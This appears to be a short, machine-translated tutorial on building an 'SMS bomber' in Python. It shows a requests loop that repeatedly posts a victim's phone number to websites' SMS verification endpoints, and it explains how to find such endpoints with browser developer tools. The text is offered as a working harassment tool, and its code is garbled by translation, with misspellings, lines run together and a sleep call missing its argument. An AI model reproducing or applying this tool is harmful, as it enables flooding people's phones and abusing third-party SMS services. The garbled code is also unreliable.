The basic principle of SMS Bomber: the use of some restrictive web site SMS registration interface, with the Python simulation request, the bombing of the mobile phone number, to achieve bombardment
implementation: using requests module, TIME module, complete request simulation
Module Installation:
In the terminal window, enter
Pip Install Requesrs
Installing the Requests module
Time module requires no installation for built-in modules
Import Requestsimport timetel= ' # mobile number url= ' # Request address headers={}# request Header data= ' # request data s=0# bombing times for _ in range (s): Requests.post (url=url,headers=headers,data=data) #发送post请求 time.sleep # 60 seconds delay
This is the general framework and the interface needs to crawl itself
Find a mobile phone to register the website, enter the phone number, open the browser developer tool to turn on the network detection (other grab bag can also), you can see the map click to get the verification code, the site sent a POST request, we view the request details
You can see that I entered the number in data
Simulating this request, the SMS bombing was realized.
PYTHON3 Realization SMS Bomber